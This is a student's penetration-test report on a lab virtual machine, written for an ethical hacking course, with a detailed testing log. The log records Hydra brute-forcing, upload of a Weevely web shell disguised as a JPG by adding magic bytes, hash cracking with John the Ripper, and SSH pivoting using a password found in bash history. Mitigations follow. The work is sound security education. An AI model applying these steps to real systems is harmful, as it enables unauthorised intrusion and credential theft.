CSL3208 – Ethical Hacking and Defence

Assignment 2: Report on a Given Scenario

Glen Teakle 10532981

Joondalup Campus - Online

Contents

[Executive Summary 3](#_Toc134133286)

[Key findings 3](#_Toc134133287)

[Introduction 4](#_Toc134133288)

[Key Terms 4](#_Toc134133289)

[Methodology 5](#_Toc134133290)

[Testing Log 5](#_Toc134133291)

[Results and recommendations 18](#_Toc134133292)

[Vulnerabilities Discovered 18](#_Toc134133293)

[References 23](#_Toc134133294)

# Executive Summary

Over a period of 4 weeks, from 4/4 – 1/5 2023 inclusive, a penetration test was undertaken by Glen Teakle on a supplied Virtual Machine. A pen-test in the cyber security landscape is the imitation of various cyber-attacks and methods that are used in the real world. The purpose of the test was to find and expose any security flaws or vulnerabilities and exploit them to determine how much of a risk they pose to the system. The key findings of the test are summarised in this report, along with recommendations to improve overall security, and mitigate vulnerabilities of the VM.

## Key findings

**Vulnerabilities** – Multiple vulnerabilities were found in the VM with varying threat levels (shown below). These levels are summarised in the report using a known cyber security 1-10 scale that shows the severity of the vulnerability.

* Use of weak/common login credentials
* File upload authorisation issues
* File/folder naming conventions
* Storing of passwords on the system
* Visible user history

Several of these vulnerabilities are considered bad practice and if exploited, could lead to other issues including loss of sensitive data, loss of system access, user lockout, and the worst case-scenario would be loss of financial data or highly sensitive information. The exploitation of these vulnerabilities led to the discovery of various passwords, logins, files/folders and 4 out of the 5 flags that were hidden in the system.

Most of the vulnerabilities involved passwords in some form, hence the following recommendations:

* The introduction of a password policy to enforce users to follow the mandatory requirements for password creation.
* Use of a password manager to eliminate the need to remember passwords.
* Use of Multi-Factor Authentication.
* Changing some default settings in the system.

Out of the 6 pen-testing phases, it was deemed that phase 2 (Reconnaissance/Information gathering) was not necessary, and the phases that were undertaken are as follows:

Phase 1 – Pre-engagement

Phase 3 – Threat Modelling/Vulnerability Analysis/Scanning

Phase 4 - Exploitation

Phase 5 – Post-exploitation

Phase 6 – Report

# Introduction

A virtual machine was supplied for the purpose of a penetration test. Using various pen-testing applications, tools, software and online resources and by following the known phases of a pen-test, there are several objectives which are listed below:

OBJECTIVES

* To gain initial access to the target VM using various pen-testing tools, methods and software.
* Uncover the 5 hidden flags that are located throughout the VM at specific points in the compromise. They are known to have values similar to the following: “chahNaelia9zohlaseiPaich0QuoWoh8ohfaenaiQuaetaebushoakarai6lainohjongoneesoocahdei6guosiethae7uwuu5Kaid9ei sah8EChoo4kaiGh2eit2mu”. Finding any of these flags will be considered a milestone in the investigation.
* Reveal any vulnerabilities within the system.
* Achieve admin/root level privileges of the system.
* Provide recommendations to mitigate the found vulnerabilities.

## Key Terms

*Burpsuite* – A collection of tools designed for web application security testing, including the intercepting of HTTP traffic.

*Hydra* - a password cracking tool included in Kali Linux.

*Multi-Factor Authentication (MFA) –* A method of authenticating a user after initial login, using a second method ie a txt message sent to a mobile device containing a one- off pin, or facial recognition/fingerprint.

*Operating System (OS)* – a program that manages and controls hardware and software on a computer system ie Windows, Linux, Android.

*PHP File* – a source code file in plain text.

*CAT Command (Linux)* – A terminal command that outputs the contents of a file to the display.

*ls -a* - a kali linux command that displays any hidden files or folders in directories.

*Hash* – a cryptographic method that scrambles data and outputs a unique variation of it.

*Salting –* adding random characters to the beginning of a hashed value to increase security.

*MD5* – a widely used cryptographic hashing algorithm.

*Secure Shell (SSH)­* – an encrypted method for 2 computers to communicate securely over a network.

*Brute-force Attack* – a method of guessing login information that involves checking every possible combination.

*Bash* – a Linux shell that interprets and executes commands.

*Phishing* – sending emails to potential victims to try and get them to open malicious attachments/files, click on malicious links etc.

# Methodology

Figure **1**. Methodology

The framework to be followed consists of the following pen-testing phases:

*Phase 1* *– Pre-engagement*. Confirming the type of test (black box) being undertaken and the timeframe given to complete the test and report.

*Phase 3* - *Threat Modelling/Vulnerability Analysis/Scanning*. Basic port scanning to find open ports and running services on the VM. Using this information to search online for known vulnerabilities.

*Phase 4 – Exploitation*. Using information from Phase 3 to run known exploits against the vulnerabilities to gain initial access to the system. Tools to be used include: Sudo commands, password cracking tools, Kali Linux pen-testing applications.

*Phase 5 – Post-exploitation*. Attempting to escalate user privileges to pivot through the system further and gain admin/root access.

*Phase 6 – Report on findings and advise recommendations*. Detail found vulnerabilities and suggest mitigation strategies.

Throughout the pen-test, a testing log will also be written and attached to this report, to allow other users to follow each step of the test exactly. This will ensure repeatability of any or all stages of the test should the need arise.

# Testing Log

|  |  |  |
| --- | --- | --- |
| **Date and Time** | **Task/procedure** | **Result** |
| 4/4/23 10:55 AM | Started Kali Linux VM and logged in | Kali Linux opened and logged in |
| 4/4/23 10:57 AM | Started “Pen Testing VM” | VM started |
| 4/4/23 10:58 AM | Opened command prompt on Kali | Command prompt displayed on screen |
| 4/4/23 11:00 AM | Entered “ip a” to determine IP address of Kali | IP address listed as 192.168.0.101 |
| 4/4/23 11:01 AM | Turned on Pen testing VM | Pen testing VM started |
| 4/4/23 11:15 AM | Entered command “nmap 192.168.0.101/24 -sP” to scan for any other machines with an IP in the same network as Kali | Results showed:  192.168.0.100 “host is up”  192.168.0.101 “host is up”  Determined that Pen testing VM has IP address of 192.168.0.100 as Kali is 192.168.0.101 |
| 4/4/23 11:25 AM | Entered command “nmap 192.168.0.100” to scan the IP for running services and/or open ports | Results showed:  Port 22/tcp open ssh  Port 80/tcp open http |
| 4/4/23 11:25 AM | Entered command “ping 192.168.0.100” to test connectivity between Kali and Pen testing VM | Results showed packets being transmitted with 0% loss, confirming connectivity between machines. |
| 4/4/23 11:30 AM | Entered command “nmap 192.168.0.100 -sV” to determine service versions | Results showed:  Port 22 ssh – OpenSSH 7.6p1 Ubuntu 4  Port 80 http – Apache httpd 2.4.29 |
| 4/4/23 11:35 AM | Entered command “nmap 192.168.0.100 -oN scan\_1” to save scan results  Entered command “cat scan\_1” | Confirmed results saved |
| 4/4/23 12:04 PM | Navigated to https://cve.mitre.org/index.html in browser and searched for “OpenSSH 7.6p1 Ubuntu 4” to search for known vulnerabilities | Returned 24 results |
| 4/4/23 12:06 PM | Searched for “Apache httpd 2.4.29 to search for known vulnerabilities | Returned 4 results |
| 4/4/23 12:10 PM | Entered command “systemctl –type=service –state=running” to check for running services | Returned 19 running services |
| 4/4/23 4:00 PM | Entered “192.168.0.100” into browser | “Webprod” webpage loaded  Showing options:  “Login and Logout” |
| 4/4/23 4:06 PM | Opened Burpsuite on Kali | Burpsuite opened. Started a new project with default settings. |
| 9/4/23 9:13 PM | Clicked on “Intercept” option in Burpsuite | To try and intercept login details |
| 9/4/23 9:15 PM | Entered “about:preferences” into URL bar in Firefox ESR | To configure network proxy of kali browser (Firefox ESR) |
| 9/4/23 9:16 PM | Selected “network proxy -> settings -> manual proxy config and entered “127.0.0.1” | Firefox ESR browser proxy configured |
| 9/4/23 9:20 PM | Clicked on “Login” on Webprod login page  Clicked “Forward” in Burpsuite to advance page | Webprod login page changed to a new login page |
| 9/4/23 9:23 PM | Typed in USER and PASS as login details on Webprod | Login failed |
| 9/4/23 9:23 PM | Clicked “Forward” on Burpsuite several times | “Wrong username or password” shown on Webprod |
| 9/4/23 9:23 PM | Entered “hydra -L users.txt -P password.txt 192.168.0.100 http-post-form “/192.168.0.100/login.php:username=^USER^&password=^PASS^&login=:Wrong username or password” in kali linux terminal | Hydra found 0 valid passwords after 49 login tries |
| 9/4/23 9:30 PM | Entered command in kali “sudo nano users.txt” |  |
| 9/4/23 9:33 PM | Entered <https://lifehacker.com/the-top-10-usernames-and-passwords-hackers-try-to-get-i-1762638243> in browser | Webpage opened |
| 9/4/23 9:39 PM9/4/23 9:40 PM | Added the top 10 usernames from webpage to users.txt and saved file | Adding common usernames to try and crack login using hydra |
| 9/4/23 9:45 PM | Entered command in kali “sudo nano password.txt” | To edit “password.txt” |
| 9/4/23 9:50 PM | Added the top 10 passwords from webpage to users.txt and saved file | Adding common passwords to try and crack login using hydra |
| 9/4/23 9:55 PM | Entered “hydra -L users.txt -P password.txt 192.168.0.100 http-post-form “/192.168.0.100/login.php:username=^USER^&password=^PASS^&login=:Wrong username or password” in kali linux terminal | Hydra found 0 valid passwords after 323 login tries |
| 10/4/23 10:30 PM | Google search for “openssh 7.6p1 vulnerabilities” in kali browser | To find vulnerabilities for running services |
| 10/4/23 10:31 PM | Clicked on result “https://nvd.nist.gov/vuln/search/results?cves=on&cpe\_version=cpe:/a:openbsd:openssh:7.6p1” | Webpage opened |
| 10/4/23 10:31 PM | Clicked on “CVE-2019-6111” and read description. | Vulnerability seems to involve file sending |
| 10/4/23 10:35 PM | Clicked on <https://www.exploit-db.com/exploits/46516> from previous Google search. | Link contains download link for vulnerability in form of a .py file (Python) |
| 10/4/23 10:37 PM | Downloaded 46516.py | File downloaded |
| 14/4/23 12:30 PM | Entered “hydra -L users.txt -P password.txt 192.168.0.100 http-post-form “/login.php:username=^USER^&password=^PASS^&login=:Wrong username or password” in kali linux terminal | Hydra found 1 valid login after 361 login tries  **login: administrator password: administrator**  Webprod displayed “You are logged in!  **Flag 1 displayed - knclkfm32lkmsdldm23rasdl2lkgl2lmflsdl232** |
| 16/4/23 6:30 AM | Ran the command “weevely generate kali/home/kali/Desktop/webshell.php” in kali command line | Result displayed “Generated /home/kali/Desktop/webshell.php with password of 761 byte size” |
| 16/4/23 9:40 PM | Google search for “LFI vulnerability” | Read through the following webpages:  <https://www.invicti.com/blog/web-security/local-file-inclusion-vulnerability/>  https://www.aptive.co.uk/blog/local-file-inclusion-Lfi-testing/ |
| 16/4/23 9:57 PM | Viewed <https://www.garykessler.net/library/file_sigs.html> | Discovered “FF D8 FF E0” are the headers in the hex of a JPG file. |
| 17/4/23 9:00 PM | Navigated back to Webprod and attempted upload of webshell.php in its original form. | “Upload failed. Is the file not an image text/x-python ?” is shown. |
| 17/4/23 9:01 PM | Opened “webshell.php” file in <https://hexed.it>  Added “FF D8 FF E0” to the front of the hex bytes to attempt disguise of file as a JPG | File saved successfully |
| 17/4/23 9:02 PM | Exported the altered file to /home/kali/Downloads/webshell.php | File exported |
| 17/4/23 9:10 PM | Navigated back to Webprod and attempted upload of webshell.php as a jpg file. | File was uploaded successfully.  “File uploaded here” shown. |
| 17/4/23 9:35 PM | Entered command “weevely <http://192.168.0.100/upload/webshell.php> kali” in kali terminal | Obtained shell on target VM. |
| 17/4/23 9:40 PM | Ctrl + C to exit shell.  Ran command “sudo nano webshell.php” | Viewed code contents of webshell.php |
| 17/4/23 8:31 PM | Entered command “man weevely” to view help file for weevely | Read through the available modules for weevely |
| 17/4/23 8:35 PM | Google search for “weevely cheatsheet” | Found link <https://www.hackercoolmagazine.com/upload-shell-to-hack-a-website-part3-weevely/> and read descriptions of modules |
| 17/4/23 8:44  PM | Entered command “weevely <http://192.168.0.100/upload/webshell.php> kali” in kali terminal to re-enter shell  Ran command “:audit filesystem” | Prompt displayed www-data@wwwprod:/var/www/upload $ : audit filesystem |
| 17/4/23 8:46 PM | Ran command “ls” to list contents of directory | Webshell.php shown in directory |
| 17/4/23 8:47 PM | Ran command “cd/” | Prompt displayed www-data@wwwprod:/ |
| 17/4/23 8:48 PM | Ran command “ls” | Contents of directory displayed |
| 17/4/23 8:35 PM | Ran command cd etc followed by “ls” to list contents  Read through contents. | Prompt displayed www-data@wwwprod:/etc |
| 17/4/23 8:35 PM | Changed directory into various folders in “etc” directory and listed contents |  |
| 17/4/23 9:20 PM | Exited shell Ctrl + C |  |
| 22/4/23 1:10 PM | Entered command “weevely <http://192.168.0.100/upload/webshell.php> kali” in kali terminal to re-enter shell | Prompt displayed www-data@wwwprod:/var/www/html/upload $ |
| 22/4/23 1:16 PM | Entered command cd .. to move back one directory to www-data@wwwprod:/var/www/html/ $  Entered command ls to display contents of folder | Contents displayed a folder named “private” among others |
| 22/4/23 1:17 PM | Entered command “cd private” to move into directory and entered “ls” to list contents | Contents listed as “index.html” and “secret.txt” |
| 22/4/23 1:18 PM | Entered command “cat secret.txt” | Result displayed “This file is a secret”  **Flag 2 displayed - zlsad234lkdsklf23534lsdf234laksjd934jsad** |
| 22/4/23 2:20 PM | Navigated to www-data@wwwprod:/ $  Entered command “:audit\_etcpasswd” | Results displayed all usernames stored in system |
| 23/4/23 5:40 AM | Entered command “:audit\_phpconfig” | “Not found” message displayed |
| 23/4/23 5:45 AM | Navigated to www-data@wwwprod:/var/www/html $  Entered command “:audit\_etcpasswd”  And then “cat index.php” | Code displayed for login page for Webprod |
| 23/4/23 5:48 AM | Ctrl + C to exit Weevely shell |  |
| 23/4/23 6:12 AM | Navigated to /home/kali/Downloads/passcrack  Entered command “medusa -h 192.168.0.100 -U users.txt -P password.txt -M ssh | Looking for any other passwords that may be available |
|  | Entered command “medusa -h 192.168.0.100 -U users.txt -P password.txt -M http | No results displayed |
| 23/4/23 9:09 PM | Entered command “weevely http://192.168.0.100/upload/webshell.php kali” in kali terminal to re-enter shell | Prompt displayed www-data@wwwprod:/var/www/html/ $ |
| 23/4/23 9:11 PM | Entered command cd private to change directories | Prompt displayed www-data@wwwprod:/var/www/html/private $ |
| 23/4/23 9:12 PM | Entered command “ls -a” | To list any hidden files or folders in the current directory. Results showed 2 previously hidden files;  “htaccess”  “htpasswd” |
| 23/4/23 9:14 PM | Entered command cd .htaccess  Entered command cd .htpasswd | Display showed “Failed, permission denied” for both commands |
| 23/4/23 9:19 PM | Entered command sudo cd .htaccess | Display showed:  Sudo: no tty present and no askpass program specified |
| 23/4/23 9:20 PM | Google search for error message “no tty present”  Google search for “kali what is tty” | Discovered the tty command is used to print the name of the terminal currently connected.  Discovered askpass is a prompt to refer to a program that asks the user for username/password  Discovered the error message means sudo is trying to access the password for sudo but has no access to it |
|  | Entered command sudo -n cd htaccess | Displayed “sudo: a password is required” |
| 26/4/23 5:37 AM | Entered command “cat .htpasswd” | Result displayed “developer:$apr1$Wv63/0xM$VpTix2hoPBg1mxhHpeCOo.” |
| 26/4/23 5:40 AM | Entered command “cat .htaccess” | Result displayed:  “AuthType basic  AuthName “PRIVATE DIRECTORY”  AuthUserFile /var/www/html/private/.htpasswd  Require valid-user |
| 26/4/23 5:55 AM | Navigated to https://hashes.com/en/decrypt/hash and entered “VpTix2hoPBg1mxhHpeC0o” | Decryption failed |
| 27/4/23 10:00 AM | Ctrl + C to exit the weevely shell  Highlighted the string still visible on screen “developer:$apr1$Wv63/0xM$VpTix2hoPBg1mxhHpeCOo.” Used the copy command (right click) and then pasted the string into a notepad file and saved it as “hash.txt” in the directory home/kali/Desktop | File saved successfully |
| 27/4/23 10:03 AM | Navigated to home/kali/Desktop and checked “hash.txt” was present | “hash.txt” present and contains the copied hash string. |
| 27/4/23 10:04 AM | Ran the command “sudo john –wordlist=rockyou.txt hash.txt” | Ran john the ripper using the “rockyou.txt” password file, on the “hash.txt” file. |
| 27/4/23 10:05 AM | Viewed results on screen. | md5 hash was detected. John the ripper successfully decrypted password hash and displayed result as:  labs123k (developer)  Username and password found. |
| 27/4/23 10:09 AM | Navigated to 192.168.0.100/login.php – Webprod login page and entered the found credentials (developer, labs123k). | Wrong username or password displayed. |
| 27/4/23 10:19 AM | Entered command “ssh developer@192.168.0.100” | Attempting to login to secure shell using the found credentials |
| 27/4/23 10:20 AM | Results showed prompt as:  developer@wwwprod:~$ | Login was successful |
| 27/4/23 10:21 AM | Entered command “ls” | Results showed one file:  mynote.txt |
| 27/4/23 10:22 AM | Entered command “cat mynote.txt” | Results showed:  **Flag 3: alkj23fsflk3453;dasdk;Klkj2423kljJL32lk3** |
| 27/4/23 10:26 AM | Entered command “ls -a” | Searching for any hidden files.  Results displayed 6 more files previously hidden:  .bash\_history  .bash\_logout  .bashrc  .cache (directory)  .gnupg (directory)  .profile |
| 27/4/23 10:26 AM | Entered command “cat .profile” | To view contents of file.  Results displayed code for user settings |
| 27/4/23 10:28 AM | Entered command “cat .bash\_history” | To view contents of file.  Results displayed: permission denied |
| 27/4/23 10:29 AM | Entered command “sudo cat .bash\_history” | Prompt displayed “[sudo] password for developer: |
| 27/4/23 10:30 AM | Entered developer password (labs123k) | Result displayed:  Developer is not in the sudoers file. This incident will be reported. |
| 27/4/23 10:33 AM | Entered command “cd .gnupg” | To change directory location  Prompt displayed:  developer@wwwprod:~/.gnupg$ |
| 27/4/23 10:34 AM | Entered command ls -a | To view all contents of directory.  Results displayed 1 folder: “private-keys-v1.d” |
| 27/4/23 10:37 AM | Entered command “cd private-keys-v1.d” | To change directory location  Prompt displayed: developer@wwwprod:~/.gnupg/private-keys-v1.d$ |
| 27/4/23 10:39 AM | Entered command “ls -a” | To list all directory contents including any hidden files/directories.  No results displayed/folder empty |
| 30/4/23 8:55 PM | Entered command “cd ..” twice to move back 2 directories | Prompt displayed “developer@wwwprod:/” |
| 30/4/23 8:57 PM | Entered command “cd ..” to move back one directory | Prompt displayed “developer@wwwprod:/home |
| 30/4/23 8:58 PM | Entered command :ls -a” to list all files/folders including hidden | Results displayed 4 folders:  debug  developer  fred  manager |
| 30/4/23 8:59 PM | Entered command “cd manager” | Results displayed “Permission denied” |
| 30/4/23 9:00 PM | Entered command “sudo cd manager” | Results showed “[sudo] password for manager” |
| 30/4/23 9:01 PM | Entered password “labs123k” | Results showed “Developer is not in the sudoers file. This incident will be reported.” |
| 30/4/23 9:03 PM | Entered command “cd fred” | Prompt showed “developer@wwwprod:/home/fred |
| 30/4/23 9:04 PM | Entered command “ls -a” to list all files/folders including hidden | Results displayed 3 folders:  .cache  .gnupg  .local  6 files:  .bash\_history  .bash\_logout  .bashrc  .profile  .selected\_editor  .sudo\_as\_admin\_successful |
| 30/4/23 9:04 PM | Entered command “cat .bash\_logout” | Results displayed logout/clearing console screen code for shell |
| 30/4/23 9:04 PM | Entered command “cat .sudo\_as\_admin\_successful” | No results displayed |
| 30/4/23 9:06 PM | Entered command “cd .cache” | Results displayed “permission denied” |
| 30/4/23 9:07 PM | Entered command “cd .local” | Prompt showed “developer@wwwprod:/home/fred/.local |
| 30/4/23 9:08 PM | Entered command “ls -a” | Result displayed 1 folder “share” |
| 30/4/23 9:09 PM | Entered command “cd share” | Permission denied |
| 30/4/23 9:09 PM | Entered command “cd ..” | Moved back 1 directory  Prompt showed “developer@wwwprod:/home/fred/ |
| 30/4/23 9:10 PM | Entered command “cat .bash\_history” | Results displayed:  ls -alFh  ls  ls -alFh  exit  su manager  og2ksi2hsbek2k3  su manager  sudo -s  sudo shutdown -h now  ls  cd /var/www  ls  sudo -s  crontab -l  sudo -s  ls  ls -alFh  nano -w .bash\_history  sudo shutdown -h now |
| 30/4/23 9:12 PM | Entered command “exit” to exit SSH login | Connection to 192.168.0.100 closed  Prompt displayed “kali@kali:~/Desktop$” |
| 30/4/23 9:13 PM | Entered command “ssh [manager@192.168.0.100](mailto:manager@192.168.0.100)” to attempt login as “manager” user | Prompt displayed “manager@192.168.0.100’s password: ” |
| 30/4/23 9:14 PM | Entered “og2ksi2hsbek2k3” as password | Prompt displayed “manager@wwwprod:~$”  Login successful |
| 30/4/23 9:14 PM | Entered command “ls -a” | Results displayed 3 directories  .cache  .gnupg  .local  6 files:  bak.sh  .bash\_history  .bash\_logout  .bashrc  .profile  readme.txt |
| 30/4/23 9:14 PM | Entered command “cat readme.txt” | **Flag 4 displayed: KJ3kskjoqwo3204jmvlsKek223gql;:Lk32rldl3** |
| 1/5/23 6:39 AM | Google search for “cronjob” | Clicked on result:  <https://www.howtogeek.com/devops/what-is-a-cron-job-and-how-do-you-use-them/>  Discovered that cron is an automated task scheduler in Linux and cronjob is the specific task scheduled. Also discovered the location of cronjobs is usually located in /var/spool/cron/crontabs |
| 1/5/23 6:39 AM | Google search for “crontab” | Clicked on result:  <https://linuxhandbook.com/crontab/>  Learned that crontab is a table of cron tasks |
| 1/5/23 6:44 AM | Entered command in kali terminal “cat .bash\_history” | Results displayed short user history of bash commands including:  nano /home/manager/bak.sh  sudo su  crontab -l |
| 1/5/23 6:52 AM | Google search for ”Edit cronjobs” | Clicked on link https://www.tecmint.com/create-and-manage-cron-jobs-on-linux/ |
| 1/5/23 6:55 AM | Entered command “cd ..” twice | Prompt displayed manager@wwwprod:~$ |
| 1/5/23 6:56 AM | Entered command “cd etc” | Prompt displayed manager@wwwprod:/etc$ |
| 1/5/23 6:56 AM | Entered command cd sudoers | Permission denied |
| 1/5/23 11:45 AM | Google search for “bash history and cyber attack” | To learn about the bash\_history file.  Clicked on link:  https://resources.infosecinstitute.com/topic/mitre-attck-vulnerability-spotlight-bash-history/ |
| 1/5/23 12:14 PM | Entered command “ls -a”from the manager@wwwprod:/etc$ prompt  Entered command “cat crontab” | Results displayed 4 cron tasks:  17 \* \* \* \* root cd / && run-parts --report /etc/cron.hourly  25 6 \* \* \* root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )  47 6 \* \* 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )  52 6 1 \* \* root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) |
| 1/5/23 12:30 PM | Navigated to manager@wwwprod:/var/spool/cron and entered ls -a | 3 directories listed:  atjobs  atspool  crontabs |
| 1/5/23 12:32 PM | Entered command cd crontabs | Permission denied |
| 1/5/23 12:36 PM | Navigated to manager@wwwprod:/etc/cron.d  Entered command “ls” | Displayed 4 files:  backup  mdadm  php  popularity\_contest |
| 1/5/23 12:38 PM | Entered command “cat popularity\_contest” | Discovered 1 cronjob |

# Results and recommendations

The Common Vulnerability Scoring System (CVSS) is used in this report. CVSS is a way of showing the characteristics and severity of a vulnerability (FIRST, 2023). It makes use of 3 groups:

*Base*: refers to the specific qualities of a vulnerability that remain constant over time.

*Temporal*: refers to the characteristics that change over time.

*Environmental*: refers to the characteristics of a vulnerability distinct to a user’s environment.

This pen-test will only report on the Base group, which scores the severity of each vulnerability with a number between 0 (low) and 10 (high) based on the following 8 categories:

* Attack Vector (Network, Adjacent, Local, Physical)
* **Attack Complexity (Low, High)**
* Privileges Required (None, Required)
* **User Interaction (None, Required)**
* Scope (Unchanged, Changed)
* **Confidentiality (None, Low, High)**
* Integrity (None, Low, High)
* **Availability (None, Low, High)**

The score is also portrayed by a vector string summarising the categories, for example:

CVSS:3.1/AV:N/**AC:H**/PR:N/**UI:R**/S:U/**C:L**/I:N/**A:H**

# Vulnerabilities Discovered

**Vulnerability 1**. The first vulnerability found in the system was a weak username and password combination (“**administrator”** for both). “Administrator” is one of the top 10 username/password combinations used (Pinola, 2016) and is not secure. This vulnerability was found by using a program called Burpsuite to intercept login traffic on the website “Webprod” The user/pass was then cracked by using Hydra which used a word list containing commonly used login combinations, including “administrator”. This username/password combination was used to successfully login to Webprod, where flag 1 was displayed as “knclkfm32lkmsdldm23rasdl2lkgl2lmflsdl232”.

**Potential Impact of Vulnerability**

Once a third party (attacker) knows a user’s login details, they can login and access anything that user has access to. This could be damaging to the legitimate user depending on what they have access to. More importantly, a user with the credentials “administrator” likely has the highest privileges on their account, with possible access to important documents, website code or other user information including email addresses, phone numbers etc. This information could lead to phishing or other social engineering attacks. With admin access, an attacker may be able to alter/deface a website, intercept other logins, change other user’s privileges or access sensitive data. Lastly, an attacker could change a user’s login credentials to deny them access.

**Mitigation Strategies**

**PASSPHRASE**

Passwords should not be easy to guess and should not be from a known list of commonly used words. A modern take on a password is a passphrase; 3 or 4 random/unrelated words placed together in a string that can easily be remembered by the user, but hard for an attacker to discover. For example: “snowman fish mountain sunrise” The user could remember this by visualising a snowman catching a fish next to a mountain during a sunrise. There are websites that can randomly generate passphrases such as <https://useapassphrase.com>. This website also tells you how long it would take for the phrase to be cracked (Hearn, n.d).

**PASSWORDS**

Passwords can still be used; however, they must be hard to crack. There are random password generators online such as <https://bitwarden.com/password-generator/>. These generate random passwords containing a combination of upper/lowercase letters, numbers and/or characters of a specified length (Bitwarden, 2023). The use of passwords should also incorporate the use of a password manager. These applications store usernames and passwords which eliminates the need for a user to remember them or store them somewhere where they could be found. The password manager will have its own master password (which would need to be remembered) and not stored anywhere. For further protection, multi-factor authentication should also be enforced.

**PASSWORD POLICY**

A password policy that contains the mandatory requirements for password creation should be implemented. This would ensure all users create strong passwords. Microsoft has a password policy feature that has been included in their OS since 2008 (Microsoft, 2023). This feature can be used to set various requirements in password creation. For example, password expiry after a certain time and minimum password length (Microsoft, 2012).

**CVSS BASE SCORE**

6.8 - Medium. Vector String - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:L

**Vulnerability 2**. The second vulnerability found involved the use of another Kali Linux program called Weevely. This program is a stealth web shell that can be used to generate a PHP file. This file can then be uploaded to a website and used as a backdoor to gain access (Frost, n.d).

A PHP file was initially created using Weevely. After discovering that Webprod only allowed uploads of either JPG or TXT files, the PHP file was opened in an online hex editor where the file headers first 4 bytes were appended with “FF D8 FF E0”, to disguise it as a JPG. The file was saved and then uploaded successfully to the Webprod website using the Kali terminal. Shell access was now available. From here a directory listing revealed a folder named “private” which contained 2 files, 1 of which was named “secret”. The contents of this file were displayed on screen using the “cat” command and the resulting display was flag 2: zlsad234lkdsklf23534lsdf234laksjd934jsad.

**Potential Impact of Vulnerability**

Any file that is uploaded to a webserver/website has the potential to be malicious.

Accessing sensitive data (as shown with the secret.txt file) could be disastrous for an organisation.

Weevely also contains other commands that could be used for malicious activity, including elevation of privileges, changing file timestamps and brute-forcing a SQL database to gain credentials (Kanishka10, 2016).

**Mitigation Strategies**

**UPLOADING FILES**

If a website allows uploading of files, they should be validated upon successful upload to verify they are what they claim to be. Verification should include name, type, size and contents (Portswigger, 2023). As demonstrated, any file can be edited to change its appearance, and thus a seemingly harmless JPG file could be a PHP file that allows remote shell access.

Scanning an uploaded file for malware is another way to mitigate a file upload vulnerability (Prichici, 2023).

**FILE/FOLDER NAMING CONVENTIONS**

The other vulnerability in this instance is the use of the file named “secret.txt”. Similarly to using a common password, files/folders should not be named with obvious contents, and should not *contain* sensitive contents either. If the storage of this information is unavoidable, any files/folders that do contain sensitive data should at minimum, be password protected.

**CVSS BASE SCORE**

5.9 - Medium. Vector String - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:L

**Vulnerability 3**.

The third vulnerability discovered involved passwords. Specifically, the storing of passwords on the system, albeit “hidden”. Using the weevely shell again for access to the Webprod server, the “ls -a” command was used. The results showed 2 hidden files named “htaccess” and “htpasswd”. The cat command was used to display the contents of the “htpasswd” file which showed: developer:$apr1$Wv63/0xM$VpTix2hoPBg1mxhHpeCOo.

This string was likely a salted MD5 hash file with the username “developer”. The next step was to highlight the string on screen, copy to a notepad file and save it to the Kali desktop. The Kali password cracker application John the Ripper was used, which took the MD5 hash file and ran it through a wordlist called “rockyou.txt” (a well-known list of common usernames/passwords). This resulted in the username “developer” and password “labs123k” being cracked.

A SSH login was then attempted using the credentials and was successful. A directory listing showed 1 file called “mynote.txt”. This file’s contents were displayed on screen using the “cat” command again, and flag 3 was displayed: alkj23fsflk3453;dasdk;Klkj2423kljJL32lk3.

**Potential Impact of Vulnerability**

The potential impact of storing a password on a system, even hashed, could result in stolen credentials that could be used to login to other areas of the system. Also, if an attacker learned that passwords were stored this way, they could search for more on the system. As shown below (in Vulnerability 4), this could include discovering admin/root access credentials and using them to pivot through the system while escalating privileges.

Logging into the system using SSH once the credentials are known could result in an attacker exploiting the known capabilities of SSH such as:

* Pivoting from one server to another.
* Changing/disabling config settings.
* Password authentication that prevents brute-force attacks.
* Enabling remote root login.
* Allowing a certain IP address to access the system (Hernandez, 2022).

**Mitigation Strategies**

**PASSWORD STORAGE**

Storing of passwords on a file system, even if they are encrypted/hashed, should be avoided. As in vulnerability 2, a password manager should be used on a separate device and files/folders not labelled with obvious names (htpasswd).

**MULTI FACTOR AUTHENTICATION**

In regards to using SSH, if an attacker gained access this way using the found credentials, then MFA should be in place to verify the user. An attacker may have found the login credentials, but they likely wouldn’t have access to the user’s biometric authentication (face scan, PIN sent to a mobile device). MFA would ideally be in place when the user is attempting to login to the initial system, Webprod in this case.

**CVSS BASE SCORE**

7.1 – High. Vector String - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Vulnerability 4.**

The fourth vulnerability involved the use of password storage. After logging in to Webprod as “developer”, several other usernames were discovered in the home directory. One of these was “fred”. A simple directory contents listing revealed a hidden but accessible file named “bash\_history” where using the “cat” command as before revealed the contents of this file to contain a short history of bash commands by the user “fred”. These included various commands using “sudo” along with:

“su manager

og2ksi2hsbek2k3

su manager

crontab -l”

The string “og2ksi2hsbek2k3” was assumed to be the password for “manager” and confirmed by exploiting the vulnerability using the found credentials to login as before to SSH successfully as the “manager” user. A directory listing revealed a file called “readme.txt” which revealed Flag 4 (KJ3kskjoqwo3204jmvlsKek223gql;:Lk32rldl3) when the cat command was used.

**Potential Impact of Vulnerability**

2 passwords had now been discovered in the system, and the impact of gaining manager/admin credentials could be disastrous. More options are available for the attacker now they have gained higher privileges. The attacker could pretend to be the “manager” user and alter, delete or copy related data, gain further access into the system, contact other users (possible phishing attempts) or even change user passwords/user access.

**Mitigation Strategies**

**USER HISTORY/CREDENTIAL MANAGEMENT**

Saving files on a system that contain any kind of credential information is not ideal. By default, when a user logs out of Linux, their last 500 commands are stored in the file known as “bash\_history” (MITRE, 2023 & Poston, 2019). This file can often contain sensitive information (such as login credentials) and can easily be accessed by an attacker. To mitigate this vulnerability, there are several commands that can be implemented to temporarily prevent the history from being recorded (MITRE, 2023 & Poston, 2019). All users should be made aware of these commands and change the default setting when necessary.

**USER AUTHENTICATION**

This follows on from Vulnerability 3; where the use of MFA should be encouraged before any user is able to reach the point in the system of admin/manager access. Biometrics are ideal as they are unique to each individual user.

**CVSS BASE SCORE**

8.0 (High) Vector String - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

# 

# References

